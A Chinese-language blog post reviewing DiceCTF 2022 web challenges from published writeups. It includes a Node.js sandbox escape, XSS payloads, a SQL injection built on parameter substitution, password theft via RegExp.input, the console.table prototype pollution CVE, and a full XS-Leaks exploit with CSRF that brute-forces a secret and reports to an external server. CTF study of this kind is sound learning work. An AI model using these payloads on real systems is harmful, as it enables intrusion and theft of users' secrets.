我最近正好奇著大家讀完我的技術文章後的感想,有空的話可以幫我填一下:表單連結

我從 DiceCTF 2022 中學到的各種 JS 與前端冷知識

如果你不知道什麼是 CTF,可以參考我之前寫過的:該如何入門 CTF 中的 Web 題?,裡面有簡單介紹一下什麼是 CTF,以及一些基本的題型。

去年的 DiceCTF 2021 我有認真玩了一下,最後解出 6 題 web 題,心得都在這邊:DiceCTF 2021 - Summary。今年的 DiceCTF 我有看了一下,直接被電爆,難度完全是不同等級。

這次的 Web 題一共有 10 題,1 題水題 365 隊解開,另一題比較簡單一點 75 隊解開,其他 8 題都只有 5 隊以內解開,其中還有一題沒人解開。

身為一個喜歡 web 以及 JS 相關冷知識的人,這是一個很好的學習機會,透過賽後放出的 writeup 來學習各種技巧。底下不會有所有 web 題的筆記,只會有我關注的題目。

misc/undefined(55 solves)

這次在 misc 題型中也有一題跟 JS 相關的,題目敘述如下:

I was writing some Javascript when everything became undefined…

Can you create something out of nothing and read the flag at /flag.txt? Tested for Node version 17.

原始碼長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/local/bin/node
// don't mind the ugly hack to read input
console.log("What do you want to run?");
let inpBuf = Buffer.alloc(2048);
const input = inpBuf.slice(0, require("fs").readSync(0, inpBuf)).toString("utf8");
inpBuf = undefined;

Function.prototype.constructor = undefined;
(async () => {}).constructor.prototype.constructor = undefined;
(function*(){}).constructor.prototype.constructor = undefined;
(async function*(){}).constructor.prototype.constructor = undefined;

for (const key of Object.getOwnPropertyNames(global)) {
if (["global", "console", "eval"].includes(key)) {
continue;
}
global[key] = undefined;
delete global[key];
}

delete global.global;
process = undefined;

{
let AbortController=undefined;let AbortSignal=undefined;
let AggregateError=undefined;let Array=undefined;
let ArrayBuffer=undefined;let Atomics=undefined;
let BigInt=undefined;let BigInt64Array=undefined;
let BigUint64Array=undefined;let Boolean=undefined;
let Buffer=undefined;let DOMException=undefined;
let DataView=undefined;let Date=undefined;
let Error=undefined;let EvalError=undefined;
let Event=undefined;let EventTarget=undefined;
let FinalizationRegistry=undefined;
let Float32Array=undefined;let Float64Array=undefined;
let Function=undefined;let Infinity=undefined;let Int16Array=undefined;
let Int32Array=undefined;let __dirname=undefined;let Int8Array=undefined;
let Intl=undefined;let JSON=undefined;let Map=undefined;
let Math=undefined;let MessageChannel=undefined;let MessageEvent=undefined;
let MessagePort=undefined;let NaN=undefined;let Number=undefined;
let Object=undefined;let Promise=undefined;let Proxy=undefined;
let RangeError=undefined;let ReferenceError=undefined;let Reflect=undefined;
let RegExp=undefined;let Set=undefined;let SharedArrayBuffer=undefined;
let String=undefined;let Symbol=undefined;let SyntaxError=undefined;
let TextDecoder=undefined;let TextEncoder=undefined;let TypeError=undefined;
let URIError=undefined;let URL=undefined;let URLSearchParams=undefined;
let Uint16Array=undefined;let Uint32Array=undefined;let Uint8Array=undefined;
let Uint8ClampedArray=undefined;let WeakMap=undefined;let WeakRef=undefined;
let WeakSet=undefined;let WebAssembly=undefined;let _=undefined;
let exports=undefined;let _error=undefined;let assert=undefined;
let async_hooks=undefined;let atob=undefined;let btoa=undefined;
let buffer=undefined;let child_process=undefined;let clearImmediate=undefined;
let clearInterval=undefined;let clearTimeout=undefined;let cluster=undefined;
let constants=undefined;let crypto=undefined;let decodeURI=undefined;
let decodeURIComponent=undefined;let dgram=undefined;
let diagnostics_channel=undefined;let dns=undefined;let domain=undefined;
let encodeURI=undefined;let encodeURIComponent=undefined;
let arguments=undefined;let escape=undefined;let events=undefined;
let fs=undefined;let global=undefined;let globalThis=undefined;
let http=undefined;let http2=undefined;let https=undefined;
let inspector=undefined;let isFinite=undefined;let isNaN=undefined;
let module=undefined;let net=undefined;let os=undefined;let parseFloat=undefined;
let parseInt=undefined;let path=undefined;let perf_hooks=undefined;
let performance=undefined;let process=undefined;let punycode=undefined;
let querystring=undefined;let queueMicrotask=undefined;let readline=undefined;
let repl=undefined;let require=undefined;let setImmediate=undefined;
let setInterval=undefined;let __filename=undefined;let setTimeout=undefined;
let stream=undefined;let string_decoder=undefined;let structuredClone=undefined;
let sys=undefined;let timers=undefined;let tls=undefined;
let trace_events=undefined;let tty=undefined;let unescape=undefined;
let url=undefined;let util=undefined;let v8=undefined;let vm=undefined;
let wasi=undefined;let worker_threads=undefined;let zlib=undefined;
let __proto__=undefined;let hasOwnProperty=undefined;let isPrototypeOf=undefined;
let propertyIsEnumerable=undefined;let toLocaleString=undefined;
let toString=undefined;let valueOf=undefined;

console.log(eval(input));
}

你可以執行任何程式碼,但是在幾乎所有東西都變成 undefined 的情況下,你還能做什麼呢?

當初在看這題的時候我也沒有想到該怎麼辦,我試了幾個預設會有的東西像是 moduleexports 之類的,都拿到 undefined,想說試試看用 import,結果噴了錯誤:SyntaxError: Cannot use import statement outside a module

根據作者的 writeup,這題有兩個解。

第一個解就是雖然 import "fs" 行不通,但是 import('fs') 可以,我看了一下 MDN,上面寫說:「There is also a function-like dynamic import(), which does not require scripts of type=”module”.」

所以可以這樣解:

1
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))

另外一個解法則是要知道 Node.js 的一些細節,例如說你寫這樣一段程式碼:

1
2
3
console.log("Trying to reach");
return;
console.log("dead code");

因為沒有 function,所以你預期 return 應該會出錯,但執行時你會發現沒有出錯,而且還真的像是有個 function 一樣。這是因為 Node.js 的 module 其實都會被放到 function 裡面,上面的程式碼會像這樣:

1
2
3
4
5
(function (exports, require, module, __filename, __dirname) {
console.log("Trying to reach");
return;
console.log("dead code");
});

我們的目標就是拿到 require 這個參數,但是因為 arguments 也變成 undefined 了,所以沒有辦法直接拿到,要間接去拿。這是什麼意思呢,我們可以先執行一個 function,然後再用 arguments.callee.caller.arguments 去拿到 parent function 的參數,像是這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

function wrapper(flag) {
{
let flag = null
let arguments = null
function inner() {
console.log(arguments.callee === inner) // true
console.log(arguments.callee.caller === wrapper) // true
console.log(arguments.callee.caller.arguments[0]) // I am flag
}
inner()
}
}

wrapper('I am flag')

這題我自己比較可惜的點有兩個,一個是以前就有學生問過我那個 return 的問題,我當時只有回說外面包了一層 function,但沒有銘記在心中(?),導致完全忘記。

第二個是 arguments.callee.caller 這個操作我自己在兩年前就寫過:覺得 JavaScript function 很有趣的我是不是很奇怪

2022-02-09 補充:

補充一下另一個我覺得很帥氣的解法,來自這邊:DiceCTF 2022 WriteUps by maple3142

這邊用了 Node.js 可以拿到 structuredStackTrace 的 feature,簡單的 POC 長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
for (const x of err.stack) {
console.log(x.getFunction()+"")
}
}
trigger()

我們可以用 x.getFunction() 拿到上層的 function,就是 Node.js 幫忙加上 wrapper 的那個,再一樣用 arugments 去拿到參數,官方有個文件在講 Stack trace API

然後還有一點我覺得很酷,就是上面 POC 中如果放到 undefined 這題,我們是沒有 Error 可以用的,那怎麼辦呢?

writeup 的作者用了這招:

1
2
3
4
5
6
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Error = TypeError.prototype.__proto__.constructor

沒錯啊!既然拿不到 Error,就先自己製造一個 TypeError,再利用 TypeError 是繼承自 Error 的特性,就可以不依靠 global 拿到 Error constructor 了,這招好帥。

web/blazingfast(75 solves)

這題的敘述是:

I made a blazing fast MoCkInG CaSe converter!

簡單來說就是寫了一個會把奇數位置的字轉成大寫的轉換器,主要程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
let blazingfast = null;

function mock(str) {
blazingfast.init(str.length);

if (str.length >= 1000) return 'Too long!';

for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}

if (blazingfast.mock() == 1) {
return 'No XSS for you!';
} else {
let mocking = '', buf = blazingfast.read();

while(buf != 0) {
mocking += String.fromCharCode(buf);
buf = blazingfast.read();
}

return mocking;
}
}

function demo(str) {
document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports;

document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value);
}

let query = new URLSearchParams(window.location.search).get('demo');

if (query) {
document.getElementById('demo').value = query;
demo(query);
}
})

而 blazingfast.c 程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int length, ptr = 0;
char buf[1000];

void init(int size) {
length = size;
ptr = 0;
}

char read() {
return buf[ptr++];
}

void write(char c) {
buf[ptr++] = c;
}

int mock() {
for (int i = 0; i < length; i ++) {
if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
buf[i] += 32;
}

if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
return 1;
}
}

ptr = 0;

return 0;
}

只要 buf 裡面的內容有 <> 就會直接 return 1,然後 JS 那層就會回傳 No XSS for you!,所以無法輕易執行 XSS。

這題的關鍵我有找到,但是當時程式碼沒看清楚導致想錯了,可惜沒解出來。

關鍵就是利用一些奇特的字元創造出長度的差異,例如說 ß 這個字元長度是 1,但是轉成大寫之後變成兩個字:

1
2
'ß'.length // 1
'ß'.toUpperCase().length // 2,變成 SS

還有其他字元也有這種特性,可以自己 fuzzing 一下,有些字元拿來繞過長度限制很好用,像是這篇:Exploiting XSS with 20 characters limitation 就利用這招縮短長度,網址也可以用同樣的手法,可參考:domain-obfuscator 或是 Unicode Mapping on Domain names

假設我有個字串是 ßßßßßßßß<b>1</b>,長度是 16,所以在初始化的時候 length 會是 16,但是當跑到迴圈的時候因為轉成大寫,會是 8*2+8 = 24 個字,所以 24 個字會全部被寫進去 buf 裡面。

mock 函式裡面,只會檢查 length 內的東西,所以最後 8 個字不會被檢查到,可以偷渡 <> 這些字元進去,像這樣:

但因為所有字元都會變成大寫,所以要找一個變成大寫之後還是可以用的 XSS payload,這時候可以用 encode 過的字串,像這樣:

1
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)" />

如此一來就搞定了,或是也可以參考更複雜的做法:https://smitop.com/p/dctf22-blazingfast/

web/no-cookies(5 solves)

這一題很有趣,敘述是:

I found a more secure way to authenticate users. No cookies, no problems!

簡單來說就是有個網站,無論做什麼操作都會先問你帳號密碼,打 API 也會直接把帳號密碼帶上去,如此一來就不需要 cookie 了。

這題前端的程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
(() => {
const validate = (text) => {
return /^[^$']+$/.test(text ?? '');
}

const promptValid = (text) => {
let result = prompt(text) ?? '';
return validate(result) ? result : promptValid(text);
}

const username = promptValid('Username:');
const password = promptValid('Password:');

const params = new URLSearchParams(window.location.search);

(async () => {
const { note, mode, views } = await (await fetch('/view', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username,
password,
id: params.get('id')
})
})).json();

if (!note) {
alert('Invalid username, password, or note id');
window.location = '/';
return;
}

let text = note;
if (mode === 'markdown') {
text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
return `<a href="${p2}">${p1}</a>`;
});
text = text.replace(/#\s*([^\n]+)/g, (match, p1) => {
return `<h1>${p1}</h1>`;
});
text = text.replace(/\*\*([^\n]+)\*\*/g, (match, p1) => {
return `<strong>${p1}</strong>`;
});
text = text.replace(/\*([^\n]+)\*/g, (match, p1) => {
return `<em>${p1}</em>`;
});
}

document.querySelector('.note').innerHTML = text;
document.querySelector('.views').innerText = views;
})();
})();

parse Makrdown 那一段就一臉可以 XSS 的樣子:

1
2
3
text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
return `<a href="${p2}">${p1}</a>`;
});

事後作者說他本來沒有想要在這邊留洞,這個洞是 GitHub copilot 寫出來的XD 但他覺得很有趣就留下來了。

這個 XSS 的洞並不難找

1
2
3
4
5
6
var text = '[abc](123" onfocus=alert`1` autofocus=")'
text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
return `<a href="${p2}">${p1}</a>`;
});
console.log(text)
// <a href="123" onfocus=alert`1` autofocus="">abc</a>

但問題是有了 XSS 之後,該怎麼把密碼偷出來(密碼就是這題的 flag)?

我當時怎麼看都不覺得可以偷到密碼,賽後看 writeup 才知道一個神奇的屬性:RegExp.input,這個屬性可以拿到 RegExp 最後一次的 input,例如說這樣:

1
2
/a/.test('secret password')
console.log(RegExp.input) // secret password

而 password 就是最後一次丟去 /^[^$']+$/.test() 的輸入,所以就可以藉此拿到 password,這真的是 mind-blowing。

但這邊還有個細節,那就是如果你用了 markdown XSS,最後配對的 regexp 就不是 password 了,所以就拿不到。這時候你必須找出 server 的 SQL injection,程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const db = {
prepare: (query, params) => {
if (params)
for (const [key, value] of Object.entries(params)) {
const clean = value.replace(/['$]/g, '');
query = query.replaceAll(`:${key}`, `'${clean}'`);
}
return query;
},
get: (query, params) => {
const prepared = db.prepare(query, params);
try {
return database.prepare(prepared).get();
} catch {}
},
run: (query, params) => {
const prepared = db.prepare(query, params);
try {
return database.prepare(prepared).run();
} catch {}
},
};

const id = crypto.randomBytes(16).toString('hex');
db.run('INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)', {
id,
username,
note: note.replace(/[<>]/g, ''),
mode,
});

會把所有單引號跟 $ 拿掉,然後去 replace 所有的 :param,這時候可以利用這個特性來注入,例如說這樣 (from DrBrix):

1
2
3
4
"username": "a :note",
"password": "pass"
"note": ", :mode, 0, 0) -- ",
"mode": "actual note and xss"

我們來看一下最後會變怎樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 一開始是
INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)

// 接著假設 id123,就會變成
INSERT INTO notes VALUES ('123' :username, :note, :mode, 0)

// 再來 replace username,變成
INSERT INTO notes VALUES ('123', 'a :note', :note, :mode, 0)

// 再來是 note,要注意的是兩個 note 都會被 replace
INSERT INTO notes VALUES ('123', 'a ', :mode, 0, 0) -- '', ', :mode, 0, 0) -- ', :mode, 0)

// 最後是 mode,這時候我們已經可以控制 note 內容的值了,沒有任何限制
INSERT INTO notes VALUES ('123', 'a ', 'payload', 0, 0) -- '', ', 'payload', 0, 0) -- ', :mode, 0)

利用這個洞,就可以不依靠 markdown 來做 XSS,再利用 RegExp.input 這個神奇屬性拿到 password。

預期外解法

這題的預期外解法也是超帥,不需要 RegExp.input 了,利用的特性是底下這段程式碼:

1
2
document.querySelector('.note').innerHTML = text;
document.querySelector('.views').innerText = views;

這段程式碼你可能會預期插入 HTML 之後,會先繼續往下執行,然後才執行 HTML 裡面的內容,例如說:

1
2
3
4
5
6
<div id=x></div>
<div id=y>hello</div>
<script>
x.innerHTML = '<img src=x onerror=alert(window.y.innerText)>'
y.innerText = 'updated'
</script>

顯示出來的 alert 會是 updated,img 的事件確實是後來才執行,但如果是這樣寫的話就不一樣了:

1
2
3
4
5
6
<div id=x></div>
<div id=y>hello</div>
<script>
x.innerHTML = '<svg><svg onload=alert(window.y.innerText)>'
y.innerText = 'updated'
</script>

這樣寫的話,onload 裡的東西會在 y.innerText = 'updated' 之前執行,所以 alert 的內容會是 hello,這個 payload 其實也有記在 tinyXSS 裡面:

1
2
<!-- In chrome, also works inside innerHTML, even on elements not yet inserted into DOM -->
<svg><svg/onload=eval(name)>

那知道這個之後可以幹嘛呢?

我們先整理一下載入筆記的程式碼,簡化後長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(async () => {
const { note, mode, views } = await (await fetch('/view', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username,
password,
id: params.get('id')
})
})).json();

document.querySelector('.note').innerHTML = text;
// 在底下這行執行之前,會先執行我們的 XSS payload
document.querySelector('.views').innerText = views;
})();

現在如果我們可以在最後一行之前執行程式碼的話,就可以做一些有趣的事情。

我們可以先把 document.querySelector 蓋掉,再把 JSON.stringify 蓋掉,像是這樣:

1
2
3
4
5
document.querySelector = function() {
JSON.stringify = function(data) {

}
}

蓋掉之後可以幹嘛呢?蓋掉之後我們就可以用 arguments.callee.caller,存取到最外層那個匿名的 async 函式,然後再呼叫一次!再呼叫一次之後,就會再發送一次 request,然後透過 JSON.stringify 把 password 傳進去,這時我們就可以攔截到:

1
2
3
4
5
6
document.querySelector = function() {
JSON.stringify = function(data) {
console.log(data.password) // flag
};
arguments.callee.caller()
}

這個非預期解來自於 @dr_brix,真的超級帥,從沒想過可以這樣做。

web/vm-calc(2 solves)

話說做個計算功能是 CTF 中常見的題型,以這題來說乍看之下會以為是 VM escape,核心程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const { NodeVM } = require('vm2');
const vm = new NodeVM({
eval: false,
wasm: false,
wrapper: 'none',
strict: true
});

app.post("/", (req, res) => {
const { calc } = req.body;

if(!calc) {
return res.render("index");
}

let result;
try {
result = vm.run(`return ${calc}`);
}
catch(err) {
console.log(err);
return res.render("index", { result: "There was an error running your calculation!"});
}

if(typeof result !== "number") {
return res.render("index", { result: "Nice try..."});
}

res.render("index", { result });
});

而可以拿到 flag 的程式碼是這一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.post("/admin", async (req, res) => {
let { user, pass } = req.body;
if(!user || !pass || typeof user !== "string" || typeof pass !== "string") {
return res.render("admin", { error: "Missing username or password!" });
}

let hash = sha256(pass);
if(users.filter(u => u.user === user && u.pass === hash)[0] !== undefined) {
res.render("admin", { flag: await fsp.readFile("flag.txt") });
}
else {
res.render("admin", { error: "Incorrect username or password!" });
}
});

有關於 VM escape,我所知道的都是根據這個檔案:https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af

裡面有一些方式很有趣,例如說這一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
////////
// Also, the vm code could throw an exception, with proxies on it.

const code5 = `throw new Proxy({}, {
get: function(me, key) {
const cc = arguments.callee.caller;
if (cc != null) {
(cc.constructor.constructor('console.log(sauce)'))();
}
return me[key];
}
})`;


try {
vm.runInContext(code5, vm.createContext(Object.create(null)));
}
catch(e) {
// The following prints out 'laser' twice, (as side-effects of e
// being converted to a string) followed by {}, which is the effect
// of the console.log actually *on* this line printing out the
// stringified value of the exception, which is in this case a
// (proxy-wrapped) empty object.
console.log(e);
}

丟一個 proxy 出去當 exception,然後當有人對這個 exception 執行 toString 時,就會觸發到,就可以透過 arguments.callee.caller 拿到外界的 function。

不過這題並不是要你找 vm2 0 day,而是要利用一個 Node.js 1 day,利用 prototype pollution 來繞過這一段:

1
2
3
if(users.filter(u => u.user === user && u.pass === hash)[0] !== undefined) {
res.render("admin", { flag: await fsp.readFile("flag.txt") });
}

這個繞過我覺得也是很猛,照理來說 users.filter 因為沒條件符合,所以會返回空陣列,這時候通常都會檢查長度才對,這邊卻檢查第一個元素是不是 undefined。

這是因為如果有一個 prototype pollution 的漏洞,我們可以污染陣列的第一個屬性,那 [][0] 就會有東西,就可以讓 if 成立。

而這個漏洞編號為 CVE-2022-21824,利用方式是:

1
console.table([{x:1}], ["__proto__"]);

這個 API 第一個參數是資料,第二個參數是要顯示的欄位,像這樣:

修復的 commit 是這一個:https://github.com/nodejs/node/commit/3454e797137b1706b11ff2f6f7fb60263b39396b

從中可以得知是 map 這個 object 的問題,我們接著來看一下 console.table 的程式碼的重點部分:lib/internal/console/constructor.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// tabularData 是第一個參數 [{x:1}]
// properties 是第二個參數 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);

for (; i < indexKeyArray.length; i++) {
const item = tabularData[indexKeyArray[i]];
const primitive = item === null ||
(typeof item !== 'function' && typeof item !== 'object');
if (properties === undefined && primitive) {
hasPrimitives = true;
valuesKeyArray[i] = _inspect(item);
} else {
const keys = properties || ObjectKeys(item);

// for of 的時候 key 會是 __proto__
for (const key of keys) {
if (map[key] === undefined)
map[key] = [];

// !ObjectPrototypeHasOwnProperty(item, key) 會成立
if ((primitive && properties) ||
!ObjectPrototypeHasOwnProperty(item, key))

// 因此 map[__proto__][0] 會是空字串
map[key][i] = '';
else
map[key][i] = _inspect(item[key]);
}
}
}

所以透過這個方式,可以污染 Object.prototype[0],讓它變成空字串。

看來應該要 follow 一下 Node.js security updates,感覺滿多有用的資訊。

web/noteKeeper(2 solves)

這題當時沒仔細看,先放著未來有機會再研究:https://brycec.me/posts/dicectf_2022_writeups#notekeeper

web/dicevault(2 solves)

這題也沒仔細看,只知道是致敬另外一題:http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html

作者解答:https://hackmd.io/fmdfFQ2iS6yoVpbR3KCiqQ#webdicevault

web/carrot(1 solves)

這題也很有趣,是個很簡單的 service,可以新增 note 跟搜尋,畫面如下:

搜尋的時候會搜尋內容,有的話就會顯示,後端程式碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/tasks')
def tasks():
if 'username' not in session:
return redirect('/')

tasks = db.get(session['username'])['tasks']

if 'search' in request.args:
search = request.args['search']
tasks = list(filter(lambda task: search in task['content'], tasks))

tasks = list(sorted(tasks, key=lambda task: -task['priority']))

return render_template('tasks.html', tasks=tasks)

flag 藏在 admin note 裡面,在啟動時會自動建立:

1
2
3
4
5
6
7
8
9
10
11
12
if not has('admin'):
password = config.ADMIN_PASSWORD

put('admin', {
'tasks': [{
'title': 'flag',
'content': os.getenv('FLAG', default='dice{flag}'),
'priority': 1,
'id': 0
}],
'password': bcrypt.hashpw(password.encode(), bcrypt.gensalt()).decode('utf-8')
})

從 admin bot 的行為跟其他觀察看起來,就是個 XS-Leaks 的題目,只要能觀測到 search 的結果有沒有 flag 就行了,但難就難在想不出怎麼觀測。

這題官方沒有釋出而且似乎不會釋出解答(既然不釋出,可能是 Chrome 0 day 或是某個還沒修的 bug?),但賽後討論有人給了 XS-Leaks 的 exploit: https://gist.github.com/kunte0/47c2b53535605d842f984e77d6c63eed

完整程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
<h1>DiceCTF 2022 web/carrot</h1>

<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<button onclick="csrf()">do csrf</button>
<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br>
<br>
<h2 id=output></h2>
<br>
<form id=x action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title">
<br><br>
<input type="number" name="priority" placeholder="priority" value=9999>
<br><br>
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br><br>
<input type="submit" value="submit">
</form>

<script>

// this is send is used as logging
LOG = 'Starting'
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255;
// default
TIMELIMIT = 800;
INSTANCE = ''
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}

const time_fetch = async() => {
let test_server_url = `https://${MYSERVER}/?${LOG}`;
let start = window.performance.now();
try {
await fetch(test_server_url, {
mode: 'no-cors'
});
} catch (e) {
console.log(e);
}
let end = window.performance.now();
return end - start;
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: 'no-cors'
});
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: 'no-cors'
});
}

const block_socket = async (i) => {
fetch_sleep_long(i);
// needed?
await sleep(0);
}

const exhaust_sockets = async() => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i);
}
console.log(`Used ${i} connections`);
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {

popup.location = url;
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
});
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>[email protected][\\]^`|~{'.split('');
const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char;
}
}
return false;
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
});

}

const exploit = async(flag = '') => {
console.log('Starting')
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last;
while (true) {
last = await brute(flag);
if (last === false) {
return flag;
}
else {
flag += last;
output.innerText = flag;
if(last === '}'){
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
}
else {
WINBG = window.open(location.href, target="_blank")
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams;
if(!p.has('i')){
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get('i')
// step 1
if(p.has('csrf')){
csrf()
return
}
// step 2
if (p.has('exploit')) {
// window open is ok in headless :)
popunder()

exploit('dice{')
}
}
</script>

簡單來說可以先用 CSRF 去改 admin note 的 title,改成一個超級長的字串,因為 jinja2 render 會變慢,所以 response time 就會增加。

再來就是 timing attack 了,上面的 exploit 用的是 connection pool,先把瀏覽器的 connection pool 塞到只剩下一個,這時候就剩下一個 connection 可以用了。

這時候我們用新的 window 去造訪 search 的 URL(稱作 reqSearch 好了),與此同時再發一個 request 到我們自己的 server(我們叫做 reqMeasure),因為只有一個 connection 可以用,所以 reqMeasure 從發出 request 到收到 response 的時間,就是 reqSearch 花的時間 + reqMeasure 花的時間,假設 reqMeasure 花的時間都差不多,那我們很容易可以測量出 reqSearch 花的時間。

可以測量時間之後,就可以慢慢暴力破解出 flag 的內容。

web/shadow(0 solves)

這題是純前端的題目,我們直接來看程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<title>shadow</title>
</head>
<body>
<h3 id="title">store your secrets here:</h3>
<div id="vault"></div>
<div id="xss"></div>
<script>
// the admin has the flag set in localStorage["secret"]
let secret = localStorage.getItem("secret") ?? "dice{not_real_flag}"
let shadow = window.vault.attachShadow({ mode: "closed" });
let div = document.createElement("div");
div.innerHTML = `
<p>steal me :)</p>
<!-- secret: ${secret} -->
`;
let params = new URL(document.location).searchParams;
let x = params.get("x");
let y = params.get("y");
div.style = y;
shadow.appendChild(div);
secret = null;
localStorage.removeItem("secret");
shadow = null;
div = null;

// free XSS
window.xss.innerHTML = x;
</script>


</body></html>

